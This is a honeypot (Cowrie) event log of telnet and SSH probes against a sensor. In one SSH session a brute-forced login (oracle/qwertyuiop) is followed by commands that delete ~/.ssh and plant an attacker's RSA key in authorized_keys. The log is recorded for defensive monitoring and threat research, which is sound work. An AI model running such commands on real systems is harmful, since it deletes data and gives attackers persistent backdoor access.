{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53088,"dst_ip":"159.203.135.109","dst_port":23,"session":"75a4642ed68a","protocol":"telnet","message":"New connection: 69.6.225.50:53088 (159.203.135.109:23) [session: 75a4642ed68a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:36.439892Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":40924,"dst_ip":"10.17.0.5","dst_port":23,"session":"38c87ce2099e","protocol":"telnet","message":"New connection: 5.61.90.139:40924 (10.17.0.5:23) [session: 38c87ce2099e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:36.612291Z"}
{"eventid":"cowrie.session.closed","duration":31.28768229484558,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:36.983037Z","src_ip":"69.6.225.50","session":"037b55e30398","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03354263305664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:37.078475Z","src_ip":"69.6.225.50","session":"e2be7044642d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53100,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce10ae8c1b47","protocol":"telnet","message":"New connection: 69.6.225.50:53100 (159.203.135.109:23) [session: ce10ae8c1b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:37.099080Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53116,"dst_ip":"159.203.135.109","dst_port":23,"session":"c388cae46104","protocol":"telnet","message":"New connection: 69.6.225.50:53116 (159.203.135.109:23) [session: c388cae46104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:37.321081Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53126,"dst_ip":"159.203.135.109","dst_port":23,"session":"f666784c770b","protocol":"telnet","message":"New connection: 69.6.225.50:53126 (159.203.135.109:23) [session: f666784c770b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:37.345657Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53136,"dst_ip":"159.203.135.109","dst_port":23,"session":"16f17c0c1cb6","protocol":"telnet","message":"New connection: 69.6.225.50:53136 (159.203.135.109:23) [session: 16f17c0c1cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:37.749447Z"}
{"eventid":"cowrie.session.closed","duration":32.0665647983551,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:37.779429Z","src_ip":"144.79.218.12","session":"49e21792cdd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.16838455200195,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:37.805174Z","src_ip":"144.79.218.12","session":"c8ae52f5b613","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.312162160873413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:38.046777Z","src_ip":"69.6.225.50","session":"b92a812eb475","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.482627630233765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:38.054006Z","src_ip":"69.6.225.50","session":"b8b6676f5d74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66784906387329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:38.061073Z","src_ip":"69.6.225.50","session":"9475098097cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76460289955139,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:38.065852Z","src_ip":"69.6.225.50","session":"edadc21f9623","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":45714,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbd56636b7f7","protocol":"telnet","message":"New connection: 144.79.218.12:45714 (10.17.0.5:23) [session: bbd56636b7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:38.070216Z"}
{"eventid":"cowrie.session.closed","duration":30.278974771499634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:38.081734Z","src_ip":"69.6.225.50","session":"6e35061d20bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48036,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c91846e121e","protocol":"telnet","message":"New connection: 69.6.225.50:48036 (159.203.135.109:23) [session: 7c91846e121e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:38.170428Z"}
{"eventid":"cowrie.session.closed","duration":30.805751085281372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:38.361229Z","src_ip":"69.6.225.50","session":"3870f4b9faa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.259915351867676,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:38.408075Z","src_ip":"144.79.218.12","session":"ceb7e6facace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.075016975402832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:38.461719Z","src_ip":"69.6.225.50","session":"c1c9eb6cb697","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.47831082344055,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:38.479896Z","src_ip":"144.79.218.12","session":"0a746881489c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.355233907699585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:38.569676Z","src_ip":"69.6.225.50","session":"5815321dae08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48042,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a5cef1bbbda","protocol":"telnet","message":"New connection: 69.6.225.50:48042 (159.203.135.109:23) [session: 5a5cef1bbbda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:38.630812Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48054,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9dc2ef4e708","protocol":"telnet","message":"New connection: 69.6.225.50:48054 (159.203.135.109:23) [session: c9dc2ef4e708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:38.690196Z"}
{"eventid":"cowrie.session.closed","duration":38.358818769454956,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:39.050287Z","src_ip":"144.79.218.12","session":"d9bdc2b37b63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.16718626022339,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:39.068547Z","src_ip":"69.6.225.50","session":"7dd2deddd56b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.532675981521606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:39.107204Z","src_ip":"69.6.225.50","session":"d2e4e70cf9f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.692737102508545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:39.191055Z","src_ip":"69.6.225.50","session":"0d22271b468f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48062,"dst_ip":"159.203.135.109","dst_port":23,"session":"89b9b57b9893","protocol":"telnet","message":"New connection: 69.6.225.50:48062 (159.203.135.109:23) [session: 89b9b57b9893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:39.226571Z"}
{"eventid":"cowrie.session.closed","duration":38.76610612869263,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:39.542182Z","src_ip":"144.79.218.12","session":"4e33251dabfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108522415161133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:39.774842Z","src_ip":"69.6.225.50","session":"fbf281683d6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941863298416138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:40.053224Z","src_ip":"69.6.225.50","session":"5437e60e5b2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804797649383545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:40.064699Z","src_ip":"69.6.225.50","session":"f8b7013a326d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.621874570846558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:40.069406Z","src_ip":"69.6.225.50","session":"e409ed51b8ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48068,"dst_ip":"159.203.135.109","dst_port":23,"session":"764ddb8f41f5","protocol":"telnet","message":"New connection: 69.6.225.50:48068 (159.203.135.109:23) [session: 764ddb8f41f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:40.083180Z"}
{"eventid":"cowrie.session.closed","duration":30.221781969070435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:40.090213Z","src_ip":"69.6.225.50","session":"bffcbe231f7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48084,"dst_ip":"159.203.135.109","dst_port":23,"session":"976016574b72","protocol":"telnet","message":"New connection: 69.6.225.50:48084 (159.203.135.109:23) [session: 976016574b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:40.522027Z"}
{"eventid":"cowrie.session.closed","duration":31.124258279800415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:40.751906Z","src_ip":"69.6.225.50","session":"6921cedacf5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.434305906295776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:41.075621Z","src_ip":"69.6.225.50","session":"afa7bbb889f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.707080602645874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:41.139728Z","src_ip":"69.6.225.50","session":"cd7dec195880","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895822286605835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:41.180461Z","src_ip":"69.6.225.50","session":"cf5746d5d11f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789740085601807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:41.240701Z","src_ip":"69.6.225.50","session":"21233fc74a40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":35426,"dst_ip":"159.203.135.109","dst_port":22,"session":"83cbb8c40761","protocol":"ssh","message":"New connection: 68.183.236.1:35426 (159.203.135.109:22) [session: 83cbb8c40761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:41.252999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:41.257990Z","src_ip":"68.183.236.1","session":"83cbb8c40761","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48088,"dst_ip":"159.203.135.109","dst_port":23,"session":"deb2ab02cd29","protocol":"telnet","message":"New connection: 69.6.225.50:48088 (159.203.135.109:23) [session: deb2ab02cd29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:41.459170Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:41.501714Z","src_ip":"68.183.236.1","session":"83cbb8c40761","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48100,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d5cd4d3eeab","protocol":"telnet","message":"New connection: 69.6.225.50:48100 (159.203.135.109:23) [session: 8d5cd4d3eeab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:41.700736Z"}
{"eventid":"cowrie.session.closed","duration":30.722025871276855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:42.054351Z","src_ip":"69.6.225.50","session":"172fd7897f1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.693511486053467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:42.067762Z","src_ip":"69.6.225.50","session":"6ed41d549002","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903913736343384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:42.090125Z","src_ip":"69.6.225.50","session":"ffa5295270f6","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwertyuiop","message":"login attempt [oracle/qwertyuiop] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:42.486932Z","src_ip":"68.183.236.1","session":"83cbb8c40761","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":47178,"dst_ip":"10.17.0.5","dst_port":23,"session":"c52ddf5b8c02","protocol":"telnet","message":"New connection: 144.79.218.12:47178 (10.17.0.5:23) [session: c52ddf5b8c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:42.493061Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":47180,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c3d032d8cee","protocol":"telnet","message":"New connection: 144.79.218.12:47180 (10.17.0.5:23) [session: 3c3d032d8cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:42.550849Z"}
{"eventid":"cowrie.session.closed","duration":31.184348106384277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:42.682964Z","src_ip":"69.6.225.50","session":"ef26ac2e3b87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48110,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd048c38fc30","protocol":"telnet","message":"New connection: 69.6.225.50:48110 (159.203.135.109:23) [session: cd048c38fc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:42.697035Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48114,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3f026ae72b2","protocol":"telnet","message":"New connection: 69.6.225.50:48114 (159.203.135.109:23) [session: e3f026ae72b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:42.729176Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:43.027457Z","src_ip":"68.183.236.1","session":"83cbb8c40761","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:43.031228Z","src_ip":"68.183.236.1","session":"83cbb8c40761","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:43.035198Z","src_ip":"68.183.236.1","session":"83cbb8c40761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.9375216960907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:43.070091Z","src_ip":"69.6.225.50","session":"1036c75dd310","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14190363883972,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:43.075795Z","src_ip":"69.6.225.50","session":"d4d2bab281a1","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:43.283831Z","src_ip":"68.183.236.1","session":"83cbb8c40761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.059619188308716,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:43.304776Z","src_ip":"144.79.218.12","session":"bf6341c03dfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48116,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e5690c78a08","protocol":"telnet","message":"New connection: 69.6.225.50:48116 (159.203.135.109:23) [session: 7e5690c78a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:43.403074Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48118,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5bc766d0181","protocol":"telnet","message":"New connection: 69.6.225.50:48118 (159.203.135.109:23) [session: f5bc766d0181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:43.429928Z"}
{"eventid":"cowrie.session.closed","duration":31.469506978988647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:43.521163Z","src_ip":"69.6.225.50","session":"634d1a33a8a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48128,"dst_ip":"159.203.135.109","dst_port":23,"session":"db8d24189891","protocol":"telnet","message":"New connection: 69.6.225.50:48128 (159.203.135.109:23) [session: db8d24189891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:43.551748Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:43.801453Z","src_ip":"68.183.236.1","session":"83cbb8c40761","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:43.805539Z","src_ip":"68.183.236.1","session":"83cbb8c40761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.29714894294739,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:44.012044Z","src_ip":"144.79.218.12","session":"bfdd134c3461","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.673107624053955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:44.028923Z","src_ip":"69.6.225.50","session":"9c8d2b5d8e50","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:44.055680Z","src_ip":"68.183.236.1","session":"83cbb8c40761","protocol":"ssh"}
